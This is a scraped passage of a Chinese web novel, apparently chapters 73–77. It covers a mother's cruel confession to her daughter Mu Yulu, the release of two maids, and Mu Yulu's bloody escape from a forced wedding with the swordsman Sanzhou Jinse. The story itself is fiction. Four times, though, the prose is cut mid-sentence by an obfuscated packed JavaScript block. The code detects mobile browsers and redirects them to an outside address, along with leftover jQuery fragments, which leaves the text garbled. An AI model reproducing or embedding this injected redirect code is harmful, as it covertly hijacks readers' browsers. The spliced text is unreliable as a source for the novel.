沐昭氏迎着沐毓露的目光望回去，眼神里除了冰冷便是漠然：“你不是觉得自己活得很清醒么？不是要跟父母断绝关系么？现在又在这里质问我什么？” 沐毓露微微扬起头，尽力不让自己的眼泪落下来，“我只有一个问题想问你，我也是你的女儿，为什么你就是这么不待见我？就因为我不在你的身边长大吗？可是从小不在你的身边难道是我的错吗？” 沐昭氏的声音里也带有了情绪，沐毓露听得出来，那是愤怒的情绪：“不是你的错，是我不该把你扔在乡下外祖家，都是我的错，是做父母的不对，行了吧？” 终究还是没能忍住，沐毓露的眼泪断线般流了下来，“这不是我要的答案，我想听你的心里话。” 沐昭氏冷冷地哼了一声：“我就算再对不起你，我也是你的亲娘，你看你像什么样子？有你这么逼问亲娘的么？” 沐毓露全然不顾她的责备，她只是流着眼泪一声接一声地问：“我到底做错了什么你要这么对我？为什么同样都是你的女儿，你要如此偏心？你今天必须给我一个答案，否则我们就在这里耗着，我不离开这里，你也别想走。” 这些话不知道是哪一句激怒了沐昭氏，她突然就暴跳如雷：“你错在哪儿了？好，我告诉你错在哪里，我当初就不应该怀你，怀上你还把你生下来就是一个最大的错误！” 十几年来第一次，她终于对沐毓露说出了真心话，然而这些真心话并没能让母女二人达成和解，反而让沐毓露方才的追问显得像一个笑话。 “刚怀上你的时候我的年纪还很小，什么都不懂，什么都不会，却不得不去学习如何做一个母亲。没有人教过我这些，没有人告诉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16622111|183723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我应该怎么做，我很害怕，我向你的父亲哭诉，可他只是笑我傻。” “那段时间他体贴细致地照顾我，不管我有什么要求，他几乎是无所不应，哪怕我半夜突然想吃他亲手做的面，他都会爬起来给我煮。” “可是我知道，他之所以对我那样好，是因为我肚子里有个你。我从那个时候就开始讨厌你了，你父亲他对我越好，我就越讨厌你。你可以骂我病态，但是事实就是如此，你的出现夺走了我的夫君对我纯粹的爱。” “后来你出世了，是一个女儿，我看出来他很失望，但是我没有想到，他居然转头就纳了一个妾，那时候我甚至还没有出月子。我忍不住更加讨厌你，就因为你是一个女儿，所以他才会以我生不出儿子为由不停地纳妾。” “他一个接一个地纳妾，而我只能一次又一次地忍耐，就因为你是个女儿，你明白吗？就因为你是个女儿！” 沐昭氏情绪崩溃地在空中挥舞着双手，眼泪不停地往下掉，可见沐玉罡在她刚生下女儿时就纳妾这件事给她造成了多大的伤害，让她至今无法释怀。 “后来他要去更大的城里做生意，我想要跟他一起，他却让我留下来照顾你，因为你太小了，带着你不方便。那时候我真恨透了你，就因为你，他不停地纳妾，还是因为你，他不许我跟在他的身边。” “他带着他的妾室们离开的那晚，我守在床前看着你，那时候我真的恨不得掐死你。” “只要没了你，他也就没有借口让我继续守在老宅子里，我就可以去找他了。但是我也知道，我要是真掐死了你，他正好有理由可以休妻，扶正他心爱的妾室。” “最后我想出一个办法来，把你交给乡下的外祖，让他们看顾你，这样我就可以去找你的父亲了。” 她止住了哭声，转为愤怒的咆哮：“所以是你拖累了我，从你进了我的肚子开始，就一直是你在拖累我！你现在还好意思质问我，你有什么资格质问我？” 沐毓露听她一口气讲了这么多，整个人的表情都呆滞了。不仅仅是她，就连一旁的心云听完沐昭氏这番话都变得呆若木鸡。 过了好一会儿，沐毓露才从巨大的震惊当中缓过来，她用陌生的眼神望着沐昭氏，像是在望着一个别的什么物种：“你……” 刚说出一个字她便觉得喉咙发堵，脑子转了八百圈都想不出一个形容词来：“我……” “我”了半天她也不知道该说什么，最后千言万语都只化为了一声叹气：“唉！” 此时此刻她的心中已经没有对沐昭氏的愤怒了，唯余对自己的悔恨。 她没事儿跟这个女人计较什么？ 见沐毓露这般反应，沐昭氏的情绪变得更加激动，紧接着她说出了一句震惊沐毓露八辈子的话：“你懂什么？成了亲之后你才知道，夫君就是女人的天！要是丈夫不在身边，那我也不用活了，天都塌了活着还有什么意思？” 74. 第74章 这还不算完，沐昭氏的发泄才刚刚开始而已：“你懂什么？我还没有及笄就跟你父亲定了亲，我的生命里就只有他这一个男人，他就是我生命的全部，可是总有人要跟我抢他，包括你，从我肚子里爬出来的女儿！” “别说是你了，就算是你妹妹，你们两个加起来也没有你父亲在我心目中的分量重。女儿迟早都是要泼出去的水，只有夫君才能陪伴照顾自己一辈子。你现在根本就不懂，等你成亲之后才会明白为什么夫君就是女人的天。” 沐毓露真的觉得自己不行了。 她现在只想逃。 这一瞬间她突然无比庆幸，还好自己从小不在沐昭氏身边长大，也还好外祖父嫌弃她是个女孩儿，从小就没怎么教导过她，这让她在缺失亲情的同时获得了相对健康的心理状态。 这何尝不是一种因祸得福。 此刻她甚至开始心疼起沐晚意来，这姑娘的脑子原来就是这样坏掉的。 她又一次在心里问自己，没事儿跟这些人计较什么？ 沐昭氏沉浸在自己的悲伤里，扑过来想要抓住沐毓露继续说些什么，却被沐毓露闪身躲开了。 她几乎是弹射起步，一下子就跳到了走廊外面，一边说着我知道了女儿不敢责怪你，一边逃也似的跑出了这个院子。 她和心云两个人就这样一前一后地穿梭在雨幕里，连伞都没有来得及打一把，就这么淋着雨跑回了自己的院子。 回到房间坐定之后她仍旧觉得心有余悸。 从前她一直觉得自己精神不正常，重活了两世才明白，原来整个沐府里最正常的人居然就是她自己。 全府上下除了她以外已经找不出一个正常人来了。 心云在这时候凑了过来，小心翼翼蹲在沐毓露的面前，伸出手抚上她的膝头。 心云的头发和眼睛都湿漉漉的，目光里还有尚未褪去的恐惧，却仍旧强打起精神想要安慰她。 沐毓露怔了怔，与心云对视良久，然后俯身抱住了她。 此后两天沐毓露就跟变了一个人似的，她不出门了，也不折腾了，每天就只是静静地待在房间里，一遍又一遍地清点嫁妆单子，要不然就是坐在桌前写写画画，也不知道在写些什么。 直到出嫁的前一晚，她才把心云和默合都唤到自己面前，将门窗都关好之后，她拿出了一堆细软、一叠银票，还有一封这两日涂涂改改终于写好的信。 将金银细软还有银票均分给了两人，她又从袖子里取出两张卖身契。 在看见卖身契的一瞬间心云就明白过来小姐想要做什么，她扑通一声跪了下来，“小姐是不是要赶我们走？我是不会走的。” 她跪在地上抱住沐毓露的膝盖，“你明日就要出嫁了，若我和默合都走了，你独自一人嫁进王府，身边连一个可以信任的人都没有，以后在王府的日子可怎么过？” 沐毓露俯身扶她起来，“心云，我不是要赶你们走，我是在兑现曾经对你的承诺。” “还记得吗，我曾经对你说过，女子也可以堂堂正正立于天地之间。”她抬手拭去心云脸上的眼泪，将卖身契塞进她的手里，“从此以后你们不再是贱籍了。” “这些银两足够支撑你们走到很远很远的地方去，但光有银两是不够的。”说着她将那封信珍而重之地交给她们，“出发前拿着这封信去齐府找知秋，让她帮忙推荐你们入学堂读书。” “玄武国有一间只收女学生的学堂，学堂的创建者是齐夫人的师妹，听说她很是博学，你们若是能有机会拜在她的门下，一定要好好珍惜。” “记住了，不要早早地就把自己嫁出去，要去读书，去明理，学一身能够在世间安身立命的本事，只有这样才可以堂堂正正立于天地之间，哪怕你是女子，也没有人敢欺你。” 最后她拉起两人的手，让她们彼此握在一起，“此行路远，山高水长，你们一定要互相照顾，善待彼此。我们大家同为女子，皆知女子在这世间的不易，因此更要互帮互助，千万不要像府里的姐妹姨娘们这般……” 说到这里她顿了一下，无奈地笑了笑，“府里的日子是什么光景，你们也见识过了，千万不要再步她们的后尘。” 默合沉默地低下了头，一句话也没说，却是将手握得更紧了。 而心云早已成了一个泪人，她上气不接下气地哭道：“可是小姐，当初你说的是带我一起离开，如今你却不和我们一起走，你骗人！” 沐毓露继续耐心地为她擦拭着眼泪，“先走出去的人才是勇敢的人，你们先帮我去探探前方的路，我一定会追上你们的。” 她的语声坚定：“你们放心，我还没有放弃自己，不管需要多长的时间，不管付出多少的努力，我都一定会想办法逃出去。等到了那个时候，我可就全都指望你们了，所以你们不能不努力。” 心云扑进沐毓露的怀里，哭得全身都在颤抖，默合也红了眼眶，低下头极力地忍耐。 沐毓露又一次拍了拍心云的脑袋，语气轻松地缓解着气氛：“好了别哭了，我这不是还没出嫁吗？还有一晚上的时间，说不定今天晚上三州堇璱就来带我离开了。” 心云红着眼睛点了点头，虽然知道沐毓露说这话是在安慰她们，但她心里仍旧怀有隐隐的期待。 只要还没有到最后一刻，那就还有希望。 说不定呢，说不定三州堇璱就在这最后一刻赶来了。 这一晚上沐毓露房间里的烛火都未歇，心云和默合坚持要在院子里守着，等待着那最后一丝渺茫的希望。 她们就这样从深夜空等至天明。 三州堇璱没有来。 隔天一大早便有许多的人涌进沐毓露的院子，张罗着为她换嫁衣梳新妆，沐毓露便趁着此时人多混乱，冲心云她们眨了眨眼。 要等的人没有来，她们也该走了。 心云还欲说些什么，被默合一把拦住，她冲心云摇了摇头，最后望了沐毓露一眼，拉着心云的手带她趁乱离开了沐府。 沐毓露在窗口望着她们离开的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16626100|183723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方向，只见院门口人头攒动，她们两人瘦削的身影很快就消失在了人群之中。 直到这一刻沐毓露才真正松了口气，她坐回梳妆台前，如一个提线木偶般任由旁人给她梳妆打扮。 转眼间吉时已至，沐毓露被打扮得如一朵含苞待放的花儿，在众人的搀扶下款款走了出来。 刚走出后院她就看见了穿着一身红衣前来接亲的穆衾寒，差点两眼一黑晕倒在地。 看来穆衾寒果然是很担心她跑了，接亲居然接到了沐府的后院来，但谁让人家是手握实权的摄政王，就算这样于礼不合，也没人敢说他一句不是。 相反，身旁的人都开始夸沐毓露好福气。 以穆衾寒的身份之尊，他是大可不必亲自前来接亲的，然而他不仅亲自来了，甚至还直接进到了后院来，生怕沐毓露多走一步路。 在众人艳羡的目光中，穆衾寒朝沐毓露伸出了手，“我扶你上轿。” 他今日规规矩矩穿着一身正红色的亲王吉服，金线绣出的袖摆在阳光下流转着内敛而威严的光华，虽然未着惯常的玄色衣衫，但整个人在阳光的照耀下仍旧散发着冷肃的气息。 就像一块浸在透明的冰水中的玉，浑身上下都散发着寒气。 沐毓露深呼吸了好几次，才努力压制住心中的反感，将自己的手递到了他的手中。 他的手也是冰凉的，没有一丝热气，沐毓露颤抖了一下，下意识想要将自己的手从他手里抽出来，却被他紧紧地握住。 他就这样不容反抗地牵着她，带着她穿过人群向府外走去。 此刻沐府的朱漆大门洞开，阶前洒扫得一尘不染，沐玉罡穿着一身才赶制出来的簇新锦袍，正欲携全家老小在阶下跪送，却被穆衾寒一把扶住。 他长身玉立站在阶上，俯视着沐玉罡，仍旧是一副居高临下的模样，语气却是前所未有的温和：“岳丈大人不用多礼。” 沐玉罡激动得都快哭出来了。 府外早已聚集了不少看热闹的人，众目睽睽之下，穆衾寒的确是给足了他面子。 至于跪在沐玉罡身后的那些人，表情更是一个比一个丰富，沐毓露的视线在他们的脸上一一扫过，最后停留在了沐晚意的身上。 此刻沐晚意望向她的目光里是前所未有过的仇恨，那股恨意简直都快凝为实质，变成一把刀子刺向沐毓露。 沐晚意实在是太不会隐藏，那一瞬间沐毓露直接就读懂了她的心思。 她在暗暗地跟自己的姐姐较劲，她不想让世人承认，被养在母亲身边千宠万爱长大的她嫁得还不如那个从小就被扔在乡下的野孩子。 她一定要嫁得比姐姐更好，地位比姐姐更高，如此心中的那一口气才能算是顺了。 怪不得她分明心仪齐知止，却能这么快就接受即将嫁给三皇子成为他侧妃的事实。 沐毓露虽然读懂了她的心思，神情却依然平静，她突然间惊讶地发现，在又一次面对沐家人那充满恶意的目光时，她的内心已经毫无波澜。 75. 第75章 穆衾寒虽然在同沐玉罡说话，却时刻关注着沐毓露，见她望着一个方向出神，于是也顺着她的目光望过去：“在看什么？” 沐毓露没有回答，将目光收了回来，然后沉默地摇了摇头。 王府总管在这时上前，声如洪钟唱喏：“吉时已至！请王妃上轿！” 穆衾寒唇角扬起一抹笑意，他牵着沐毓露继续向前走，带着她走向那顶静静地停驻在沐府门前，垂着流苏金绣的八抬大轿。 十里红妆铺至长街尽头，穆衾寒的玄色靴履踏过满地锦绣，他亲手掀开轿帘，将沐毓露送进了轿中，全程都不曾将她的手交给旁人。 等到沐毓露在轿中坐稳之后，他身形利落翻身上马，执缰缓行，带着轿中的沐毓露向王府而去。 王府迎亲的仪仗如一道赤色的长河，在京城的长街上缓缓流淌，十里长街人潮涌动，但那些喧哗的声浪都在王府威严的仪仗前低伏下去，化作一片低低的私语。 人们议论纷纷，无外乎是感叹王府迎亲好大的阵仗，又或是艳羡轿中的女子有着旁人求也求不来的福气。 轿中的世界却与外面截然不同。 大红色的轿帘厚重华贵，隔绝了外界的喧嚣，只留下模糊而沉闷的声浪，如同隔着厚重的潮水涌来。 那些或惊叹或艳羡或敬畏的议论声，听在沐毓露的耳中，却像是来自另一个遥远而陌生的世界，带着一种空洞的回响。 此刻她甚至感觉不到自己的心跳，只有一种深沉而冰冷的麻木从四肢百骸蔓延开来，浸透了她的骨髓。 她就这样麻木地端坐在轿子里，繁复沉重的凤冠霞帔将她紧紧包裹着，她觉得有些透不过气，偏偏轿厢狭窄，让她几乎没有喘息的空间。 就连金线银绣织就的红裳在这封闭幽暗的轿厢内也会失去光彩。 何况是她呢。 她被精心装扮好，塞进这个无比华丽却也无比狭窄的笼子，轿身微微地摇晃着，每一次颠簸都像是一双无形的手将她推得更远，推向那个她已知结局却无力抗拒的命运。 外面是十里红妆铺就的荣华之路，可她却觉得像是被扔进了冰冷的海里，马上就要溺死了。 便在这时轿子停了下来，轿身下压，轿帘掀开的瞬间，一只手伸到了她的面前。 王府到了。 她再一次将手搭到了穆衾寒的手上，当真如同一只提线的木偶，任由他牵着自己向轿外走去。 步出那一方狭小的空间，刺眼的光线以及无数道聚焦在她身上的目光瞬间向她涌来，而她抬首望了一眼王府巍峨的大门，深深地吸了一口气，跟随着穆衾寒往王府里面走。 迈进大门之后，触目所及皆是一片刺目的红，耳畔也是锣鼓喧天的响。 大红色的绸缎缠绕着朱漆廊柱，从这头延伸到那头，直直地铺进灯火辉煌的正厅。 厅内红烛高照，烛泪无声地堆叠流淌，烛火被钻进厅堂的风撩拨得摇曳不定，在满堂宾客或真或假的笑脸上投下重重暗影。 注视着眼前的这一切，沐毓露觉得自己犹在梦里。 前世的她作为穆衾寒的侍妾，既不能穿正红色的嫁衣，也不能从正门进入王府。 成亲那日连一顶像样的喜轿都没有，只是在寻常的小轿上搭了一块红布，她就这样被人从王府的偏门送进去了。 对比之下，这一世的穆衾寒的确是把他能给的都给她了。 无论是王妃这个尊贵的身份，还是十里红妆铺就的体面，甚至是她身上这一身华贵的嫁衣，都是前世的她不敢妄想的。 她拥有了前世的自己梦寐以求的一切，但这一切对于现在的她而言全都变为了沉重的枷锁。 沉重得让她几乎快要走不动路了。 穆衾寒感受到了她脚下步伐的迟缓，陪着她慢慢地走过了一截路之后，他索性停下了步子，在她耳畔轻声问：“轿子坐累了？” 他抬手抚上了她的腰，“若是不想走路，那我抱你进去。” 沐毓露被他这句话吓得一个激灵，瞬间将背挺得笔直，浑身都变得僵硬了。 穆衾寒见状低低地笑了笑：“不想让我在大庭广众之下抱你进去？那就自己好好走。” 他的声音很低，语气甚至称得上宠溺，但在沐毓露听来却是实打实的威胁。 她心中悲愤交加，却不得不在穆衾寒的搀扶下硬着头皮继续往前走。 变故就在此时陡生。 身后的侍卫阵列中突然毫无预兆地爆发出一阵激烈的打斗声，紧接着便是宾客们的惊呼声。 沐毓露和穆衾寒同时回首去望。 一个目光锐利森寒犹如冷箭，另一个却是满眼惊喜，原本黯淡的眸光重新被眼前的这一幕点亮。 王府的院子里种了很多的花树，这个时节花正盛放得好看，恰在此刻刮起一阵大风，细碎花瓣如粉色的雪一般簌簌而落，点缀着满目的朱红与金碧，将三州堇璱穿梭于侍卫丛中的身影衬托得更加飘逸潇洒。 他今日并未穿平时的粉色衣衫，而是罕见地穿了一身白衣，整个人看起来萧索得如同冬日里的一捧雪，却又在阳光下散发着熠熠的光辉。 那光芒实在太过夺目，刺痛了沐毓露的双眼，她几乎是在看见三州堇璱的一瞬间就落下了眼泪。 眼见着上百名王府侍卫都不是那一名白衣剑客的对手，他挽剑如流星，轻而易举便在重重的包围中闪身而出，径直往沐毓露的方向而去，满堂宾客生怕祸及自身，纷纷作鸟兽散。 三州堇璱在无数道穿梭的人影中抬眼，隔着人群望向穿着一身大红嫁衣的沐毓露。 此时天光正盛，明晃晃的日头悬在王府的琉璃瓦顶上，照亮了深深庭院，也照亮了两人遥遥对视的眼。 庭院中各色花树开得泼天泼地，落花在微风中浮动，有的落在沐毓露红色的嫁衣上，而有的则坠三州堇璱的剑尖，瞬间被锋利的剑气斩得粉碎。 他就这样在满庭的花树下为她杀出了一条路来，盛着耀眼的天光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16631937|183723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向她伸出了手。 在他向沐毓露飞身掠来的一瞬间，穆衾寒更紧地攥住了沐毓露的手，却没想到她从袖里飞快地掏出一把匕首，趁他愣神的一瞬间，快准狠地朝自己手腕刺去。 他连忙松开了紧攥着她的手，眼睁睁看着她转过身冲向三州堇璱，逃命般扑进了他的怀里。 扑进他怀里的时候她还顺手摘掉了头上那顶沉重的凤冠，墨发如瀑从她肩头滑落，与三州堇璱的长发纠缠在一起，落在穆衾寒眼里无比刺目。 他抬手轻轻一挥，又一批王府侍卫从院中冲出，结队列阵将三州堇璱和沐毓露重重包围起来。 感受到怀中的人在轻轻颤抖，三州堇璱于一片刀光剑影中微微垂首，一低头却发现沐毓露正仰着头冲他灿烂地笑。 原来她并非害怕，而是太过欣喜，高兴得浑身都在颤抖。 三州堇璱望着她的笑颜，也不自觉地勾了勾唇角，然后将她更紧地拥进自己怀里。 “抱紧我。”他在她耳畔轻声地道。 这是他第三次对她说这句话。 沐毓露没有吭声，将头埋进他的怀里，放心地把自己整个人托付给了他。 三州堇璱带着她在繁茂花树间和刀山剑雨中腾挪旋转，纵横激荡的剑气斩落了枝头一大簇开得正盛的花，娇艳的花瓣被撕扯下来，带着浓烈的血腥气掠过沐毓露的鼻尖。 她将脑袋又往三州堇璱怀里埋了埋。 无休止的厮杀与不间断的腾挪让他的胸膛剧烈起伏，滚烫的吐息拂过沐毓露的耳畔，让她感到一阵战栗。 能逃出去吗？ 她不知道。 但她已经将自己的命交到了他的手里，此刻除了相信他，她没有别的选择。 刀光剑影犹如毒蛇獠牙，从四面八方噬咬而来，森冷的锋芒映亮了三州堇璱眉宇间凝结的杀意。 方才他一直都没有下杀手，此刻手下不再留情，剑招连绵，每一次银光流转都精准地撕裂血肉，带起一串飞溅的血珠。 那些血珠在明亮的日光和烛火下，划出一条条转瞬即逝的弧线，在混乱的喜堂和漫天的飞花中碎裂坠落。 三州堇璱洁白的衣袂在血珠残花中翻飞腾挪，和沐毓露大红色的衣衫交织在一起，被血雨染得斑驳陆离。 庭院里的花树仍在簌簌摇落，晚开的花朵与新绽的嫩蕊都被狂乱的剑气扫落，混着尘土与鲜血，铺满了红色的地毯，也落了沐毓露满头满肩。 三州堇璱且战且退，他的目标始终只有一个，那就是带沐毓露安全离开，因此他并不恋战，在稍有上风时便抓住机会杀出重围，带着沐毓露朝府外奔去。 穆衾寒始终站在原地，目光阴沉地注视着眼前这一幕，见到三州堇璱带着沐毓露朝王府大门而去，他蹙了蹙眉，目光再次一沉，然后对赶至身旁的侍卫长道：“放箭。” “放箭！不许让他们跑了！”侍卫长的嘶吼声在前厅中回荡，与此同时几个人涌上来合力将王府大门紧紧关闭。 76. 第76章 劲弩破空之声自身后响起，紧接着是利刃入肉的闷响，这时抱着沐毓露疾奔的身影猛地一顿，揽在她腰间的手瞬间收得更紧，几乎要将她的骨头捏碎。 一声压抑的闷哼带着剧痛的震颤从头顶传来，沐毓露惊恐地抬起了头。 三州堇璱中箭了。 那箭不知有毒没毒，直直钉入三州堇璱后心偏左的位置，箭尾的翎羽犹在微微震颤。暗红的血顺着箭杆迅速洇开，很快就染红了他白色的衣袍。 “你……”沐毓露抬头望着他，声音被堵在了喉咙里。 “没事。”他强忍着剧痛安抚她，继续带着她从刀光人潮中劈出一条血路。 不过弩箭带来的剧痛显然还是影响了他的身法，每一次格挡箭雨都伴随着肌肉撕裂的疼痛，更多的血从他肩背的伤口涌出，顺着他的手臂蜿蜒而下，染红了他握剑的手。 短短的几步路在此刻显得无比漫长，不知在刀光剑影中穿梭了多久，两人终于来到了王府紧闭的门口。 “去开门！”三州堇璱在这时松开了揽着沐毓露的手，将她护在自己的身后，他则转身背对着她，替她挡下漫天的箭雨。 沐毓露踉跄着朝前跑，几乎是扑到那两扇沉重的大门面前。此刻大门被人锁上，门闩的硬木沉重异常，绝非她一个女子可以推动，但她连一瞬都没有犹豫，直接抬手抓住那冰冷光滑的门闩，死命地将它向一侧推动。 沉重的木头摩擦着门臼，发出刺耳的嘎吱声，她连一秒钟的时间都不敢耽误，就这样一口气将门闩推到了尽头，然后一个猛扑，用肩膀狠狠撞向右侧那扇沉重的大门。 刺目的阳光伴随着大门打开的声音汹涌地倾泻进来，她站在阳光里，大声地呼唤着三州堇璱的名字。 三州堇璱回首看她，在一瞬的愣神后再次将她揽起，带着她一同旋身扑出大门。 身后箭矢不断，他带着她往外飞扑了一段距离，坚硬冰冷的石阶边缘硌在他的腰侧，他吃痛地眯了眯眼，却仍旧没有松开手，环住她的手臂在落地的瞬间反而下意识收紧，试图为她缓冲下坠的力量。 他们终于逃出了王府。 然而门外却并非坦途。 王府门前宽阔的青石长街上，有许多外围的侍卫正策马狂奔而来，马蹄踏在石板上，发出清脆急促的哒哒声。 追兵实在太多，身后还有箭雨，单单凭借轻功就想带着沐毓露离开这里，显然是不现实的。 千钧一发之际，三州堇璱目光扫过混乱的街道，带着沐毓露冲向离他们最近的一辆歪斜在路边的华丽车驾。 今日前来赴宴的宾客众多，眼前的这一辆马车装饰不俗，车辕上空无一人，车帘也半掀着，显然是哪位达官显贵眼看情势不对，在马车翻倒之后直接弃车而逃了。 拉车的是一匹还算健壮的枣红马，此刻正在原地不安地刨着蹄子打着响鼻。 靠近马车之后，三州堇璱率先拉住车辕翻身上马，借着这一跃之力直接将马车扶正。 然后他朝沐毓露伸出手，将她也拉上了马车，迅速地托住她的腰背，带着一种小心翼翼的力道，半扶半送将她推进了车厢。 身后的追兵眼看就要包围上来，他抓起车辕旁的马鞭，狠狠抽向那匹受惊的枣红马。 枣红马发出一声长嘶，拖着马车疯狂地冲向城门的方向。 身后的追兵仍在放箭，几支劲弩钉入了马车后壁，还有一支力道更猛的擦着车篷边缘呼啸而过，带起的劲风刮得车帘呼呼作响。 沐毓露怕那些冷箭穿透车壁将她钉成一个刺猬，因此不敢倚靠在车壁上，只能牢牢地扶住车门，跪坐在车厢中央。 透过车帘的缝隙，她看见三州堇璱驾车的背影。 没想到他御车的技术如此娴熟，虽然两个人正在逃命，而且他不像沐毓露那般有车身庇护，整个人都暴露在箭矢的攻击下，但依旧将马车驾得稳当，马车里的沐毓露甚至没有感觉到多少颠簸。 身后箭矢不断，他却仿佛背后生眼，头也不回，右手挥剑斩落箭矢，左手手腕控着缰绳极其细微地一抖一引，狂奔的马车轨迹便瞬间发生难以察觉的偏移，躲开了大部分的流矢。 很快马车便冲到了热闹的街道上，街上小贩行人众多，为免误伤百姓，追兵们不便继续放箭，只好收了长弓继续追赶。 这便给了二人一丝喘息之机。 过了一会儿，高大的城门轮廓终于出现在了眼前，而城门的守卫们显然早已接到了王府的示警，数十名身着盔甲的守卫如临大敌，举起长枪结成拒马阵势。 “王府缉拿要犯，关城门！拦住他们！”在他们身后穷追不舍的侍卫长声嘶力竭。 城门守卫齐声应和，巨大的城门缓缓向内合拢。这个门若是关上了，可就不是沐毓露用肩膀能够撞得开的了。 三州堇璱见状没有丝毫的犹豫，非但不减速，控缰的手指反而骤然一紧，拽得那枣红马长嘶一声，带着马车直扑向那即将闭合的城门缝隙。 马车冲向拒马阵旁边一侧因侍卫移动而露出的约三尺宽的微小空隙，那里枪尖林立，城门守卫正奋力挺□□来。 就在马车即将撞上枪尖的瞬间，三州堇璱突然动了。 染了血的白衣如鬼魅般自车辕上掠起，足尖只是在狂奔的马背上轻盈地一点，他便抢在马车之前，飘然地掠入了那枪林缝隙。 下一秒，清越的剑吟声响彻城门甬道，剑光乍起，犹如泼洒出了一片流动的月光，剑尖无比精准地在刺来的数柄枪尖上闪电般连点。 那数柄蕴含着巨力朝他刺来的长枪就这样被他硬生生点得向上荡开，露出了下方致命的空隙。 结果显而易见，不过是一眨眼的工夫，那些手握长枪的城门守卫以及正在推动城门的数名力士，顷刻间倒在了他的长剑之下。 三州堇璱抓住了这稍纵即逝的机会，足尖在甬道湿滑的青石地上再次一点，飞身回到车辕之上，重新控制了缰绳。 狂奔的马车如同穿针引线般擦着城门内侧的墙壁，紧贴着门轴，终于惊险万分地冲出了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16639838|183723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甬道。 直到马车驶上宽阔的官道，沐毓露才将悬起的心放下，长长地舒了一口气。 然而此刻他们还远远谈不上安全，真正的逃亡才刚刚开始。 身后的追兵越来越多，卷起冲天的尘烟。 在这宽阔的官道上，他们的马车更加无处遁形，成为了后方弓箭手的活靶子。 又一道冷箭从窗□□入，擦着沐毓露的脸颊钉在车壁上的时候，她终于没忍住发出了一声惊叫。 不知道穆衾寒到底下了什么样的命令，身后这些追兵完全是不死不休的架势，好像会这样无休无止地追他们到天涯海角。 拉车的那匹枣红马已经显出疲态，再这样下去不是办法。 三州堇璱一边驾着马车，一边观察着周围的环境，最后他将目光锁定在了官道右侧那座林木葱郁的山峦上。 目光在那座山上落定的一瞬间，他便扯着缰绳手腕一抖，引动着狂奔的马车在官道上划出一道飘逸的弧线，然后径直朝着山脚那条蜿蜒曲折的小径冲去。 刚一进山马车就疯狂地摇晃起来，山路崎岖，颠簸不平，险些将沐毓露从车里晃出去。 身后的追兵没想到他们会进山，纷纷在山脚停下，似乎是在等待穆衾寒的下一道命令。 山中路况复杂，且此山颇高，又十分的陡峭，若是继续这样追赶下去，极有可能会在山中发生意外。 三州堇璱死了也就死了，若是沐毓露不小心伤在了谁的刀剑之下，他们可没有办法向王爷交差。 趁着身后的追兵正在犹豫不定，三州堇璱驾驶着马车往山林更深处行去。 山路盘旋向上，林木渐密，他们一刻不停地向山上走，终于在不久后艰难地攀爬到了半山腰一处略为平缓的拐弯处。 这里林木更为茂密，有一条更窄更隐秘的小岔道从山道旁斜斜地分出，通向山林更幽深处。 马车在这时缓缓停下。 沐毓露从马车里探出头来：“怎么了？马儿走不动了么？” 三州堇璱回首望她，两人四目相对，下一秒沐毓露突然说出一句很不合时宜的话：“我才发现你今天没有戴面具？” 风从林间穿过，发出呜咽的声响，与风声一同响起的还有身后追兵的马蹄声。 听那马蹄声的动静，他们显然又收到了穆衾寒的指令，分了兵准备包抄上山。 三州堇璱在这个时候冲她笑了一下：“不戴面具，这样你才能看得清我的表情。” 他的笑比山上的花树还好看，温柔中带着一丝眷恋，缱绻的眸光将他身上的清冷尽数融化。 沐毓露有些看呆了眼。 下一秒他俯身将沐毓露牵出马车，举起马鞭朝着旁边的岔道一指，“我继续上山引开后面的追兵，你从这条小道下山。” 沐毓露这才知道他为何要冒着风险闯进山中，原来从一开始他就是打的这个主意，还没来得及开口拒绝，便听见他继续道：“他们的目标是你，所以你不用担心我，我有办法脱身。” 77. 第77章 身后追兵的马蹄声越来越近，没有多余的时间让她继续犹豫，她望了一眼三州堇璱，将他此刻的表情深深地印入脑海，然后咬牙点了点头。 已经突破万难行到了这里，她选择继续相信他。 